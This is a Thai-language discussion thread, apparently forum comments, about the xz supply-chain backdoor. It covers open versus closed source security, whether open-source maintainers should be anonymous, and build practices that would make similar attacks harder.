ดังนั้นในแง่ความปลอดภัย ผมจึงคิดว่าโอเพนซอร์สจะดีกว่าซอร์สปิดเสมอ แน่นอนว่าเหตุการณ์นี้เผยให้เห็น ข้อบกพร่องขนาดใหญ่ของซัพพลายเชน และยังแสดงให้เห็นว่าองค์ประกอบพื้นฐานของ FOSS ถูกประเมินค่าต่ำเกินไปเพียงใด จนผู้ดูแลมีความเปราะบางต่อการถูกชักจูง
แต่ถ้าการโจมตีแบบเดียวกันเกิดขึ้นภายในบริษัทเอกชนล่ะ? เป็นไปได้สูงว่าอาจไม่ต้องใช้แม้แต่การทำให้อ่านยากขั้นสูงด้วยซ้ำ แค่มี PR ที่ใหญ่พอและเดดไลน์ที่ใกล้เข้ามา ก็สามารถแอบใส่สิ่งแบบนี้เข้าไปในระบบที่ใช้งานจริงได้ด้วยความพยายามขั้นต่ำ กว่าบริษัทจะรู้ตัวว่าเกิดอะไรขึ้น ก็คงบินไปยังประเทศที่ไม่มีสนธิสัญญาส่งผู้ร้ายข้ามแดนแล้ว และกำลังขายข้อมูลที่รั่วไหลผ่าน Tor หรือดาร์กเว็บอยู่
ถ้าคุณถูกจ้างเข้าบริษัทเอกชน บริษัทจะรู้ว่าคุณเป็นใคร นั่นเองเป็นแรงยับยั้งทันทีต่อการทำสิ่งน่าสงสัย บน GitHub ไม่มีใครรู้ว่าคุณเป็นใคร การใส่แบ็กดอร์เข้าโปรเจกต์โดยไม่ถูกจับได้อาจยากกว่า แต่ถึงถูกจับได้ก็ไม่มีความเสี่ยงที่ต้องรับ คุณสามารถลองต่อไปได้มากเท่าที่ต้องการ Jia Tan ยังคงไม่ถูกจับ และไม่จำเป็นต้องวางแผนชีวิตทั้งหมดเพื่อไปอยู่ในประเทศที่ไม่มีสนธิสัญญาส่งผู้ร้ายข้ามแดนด้วย เว้นแต่เขาจะอยู่ที่นั่นอยู่แล้ว
และแม้จะเข้าไปได้แล้ว ก็ไม่สามารถคอมมิตเข้าโปรเจกต์เป้าหมายได้ตามใจชอบ ผู้จัดการของคุณและผู้จัดการเหนือขึ้นไปมีลำดับความสำคัญอื่น การบริหารที่มักทำงานผิดปกติของบริษัทแสวงหากำไรกลับทำหน้าที่เป็นแรงยับยั้งในกรณีนี้ คุณไม่เพียงต้องให้เหตุผลกับตัวโค้ดเอง แต่ยังต้องอธิบายด้วยว่าทำไมตั้งแต่แรกคุณถึงทำงานนั้นอยู่
แม้แต่ประเทศที่ความสัมพันธ์ตึงเครียด หากสะดวกทางการเมืองก็อาจส่งตัวให้เป็นส่วนหนึ่งของการเจรจาได้ รัสเซียเองก็คงไม่เก็บ Snowden ไว้ หากเขาไม่ได้เปิดโปงความลับของรัฐ ถ้าเป็นแค่การรั่วไหลข้อมูลธรรมดา ๆ เขาอาจถูกนำไปแลกตัวกับโอลิการ์ชที่ถูกจับคดีฟอกเงินที่อื่นก็ได้
แค่ทำรายการออกมาก็น่าจะมีประโยชน์แล้ว
บทเรียนจากเหตุการณ์นี้คือ เราอาจไม่ควรอนุญาตให้ผู้มีส่วนร่วมหลักของโปรเจกต์โอเพนซอร์สสำคัญมี ความเป็นนิรนาม การโจมตีนี้สำเร็จ และผู้โจมตีคงจะหลุดรอดไปโดยไม่ต้องรับผลใด ๆ เพราะเขาไม่เปิดเผยตัวตน
มาตรการแบบนั้นจะไม่ช่วย และสำหรับผู้กระทำระดับรัฐหรือ ภัยคุกคามขั้นสูงแบบต่อเนื่อง ที่คล้ายกัน ก็หลบเลี่ยงได้ง่าย ๆ ด้วยการเพิ่มขั้นตอนขโมยตัวตนเข้าไปในกระบวนการโจมตี หรือใช้เจ้าหน้าที่ที่สามารถปกป้องได้แม้แบ็กดอร์ถูกพบ
ในทางกลับกัน อุปสรรคทางเทคนิคที่จำเป็นสำหรับกระบวนการแบบนั้นมีแนวโน้มจะสร้างความเสียหายใหญ่หลวงต่อชุมชนโอเพนซอร์สโดยรวม
ทางแก้ในที่นี้คือเรียนรู้จากการโจมตีนี้ แล้วเปลี่ยนไปใช้แนวปฏิบัติที่ทำให้การโจมตีคล้ายกันยากขึ้น ไฟล์ที่ไม่ได้อยู่ในรีโพซิทอรีไม่ควรถูกใส่ไว้ใน release tarball เด็ดขาด โค้ดที่ถูกสร้างขึ้นทั้งหมดควรต้องถูกเช็กอิน และสคริปต์บิลด์ควรสร้างโค้ดอนุพันธ์ขึ้นใหม่ แล้วล้มเหลวหากแตกต่างจากโค้ดที่เช็กอินไว้ ข้อมูลที่เข้าใจยากไม่ควรเข้าถึงได้ระหว่างกระบวนการบิลด์รีลีส และการทดสอบที่พึ่งพาข้อมูลไบนารีควรถูกบิลด์แยกจากไบนารีรีลีสอย่างสมบูรณ์
ข้อแรก ผู้มีส่วนร่วมสำคัญจำนวนมาก โดยเฉพาะในสายความปลอดภัย นิยมทำงานแบบ ใช้นามแฝง ด้วยเหตุผลที่สมเหตุสมผล การบังคับให้เปิดเผยตัวตนจะผลักพวกเขาออกไป
ข้อสอง หากหน่วยข่าวกรองอยู่เบื้องหลังอย่างที่หลายคนคาดเดา หน่วยงานแบบนั้นก็สามารถสร้างตัวตน “จริง” ขึ้นมาได้อยู่ดี สุดท้ายจะเป็นการกีดกันคนที่เป็นประโยชน์ แต่กันผู้โจมตีไม่ได้
ถ้ารัฐบาลเข้ามาเกี่ยวข้อง ก็ไม่มีขีดจำกัด วิธีเดียวคือบังคับให้ไปปรากฏตัวจริงในสถานที่ที่เชื่อถือได้ แล้วก็ได้แต่หวังว่าสถานที่นั้นจะไม่อยู่ในเขตอำนาจของผู้โจมตี
ถ้ามีใครสร้างไลบรารีขึ้นมา แล้วคนอื่นเริ่มเอาไปใช้ เขาจะถูกบังคับให้เปิดเผยตัวตนหรือ? ผู้ดูแลได้รับเงินหรือเปล่า?
ไม่ว่าจะซอร์สปิดหรือโอเพนซอร์ส ถ้าเคยทำงานพัฒนา คุณจะรู้ว่านักพัฒนาครึ่งหนึ่งแทบจะอนุมัติ PR แบบขี้เกียจ ๆ ไปเลย Linus Torvalds เป็นข้อยกเว้นที่หาได้ยาก ที่คอยชี้ปัญหาตลอดทั้งวัน
ถ้าใครเข้มงวดพอที่จะใส่ใจตรวจจริง ๆ คนคนนั้นก็มักถูกมองว่าเป็นตัวปัญหาที่ขวางการพัฒนา เกิดความตึงเครียดกับทีมเพราะถูกมองว่าจับผิด
พูดตามตรง ตอนนี้ผมก็มีสถานการณ์คล้ายกันอยู่ คนที่เข้มงวดไม่ใช่ผม แต่เป็นนักพัฒนาคนหนึ่งที่ผมจ้างมา น่าเสียดายที่พฤติกรรมละเอียดรอบคอบของเขาไม่ได้รับการประเมินในทางที่ดี จนต้องเอาเขาออกจากทีม การที่เขามาจากยุโรปตะวันออกและมักให้ฟีดแบ็กแบบตรงมาก ๆ ก็ไม่ได้ช่วยนัก
ยูทิลิตี Unix ผ่านการพิสูจน์มาเป็นเวลานานแล้ว ผมอยากให้ตรึงเคอร์เนลและยูทิลิตีหลักไว้ แล้วไม่ต้องเปลี่ยนมัน ถ้าไม่ได้จำเป็นจริง ๆ
ถ้ามันไม่เสียก็อย่าไปซ่อม นั่นแหละ จักรวรรดิซอฟต์แวร์ ดูเหมือนกำลังควบคุมไม่อยู่
บางครั้งก็มีตัวอย่างที่ส่องสว่างของสิ่งที่ถูกสร้างมาอย่างถูกต้องอยู่บ้าง แต่โดยรวมแล้วควรมองว่าสิ่งเหล่านั้นถูกกลืนหายไปหมดแล้ว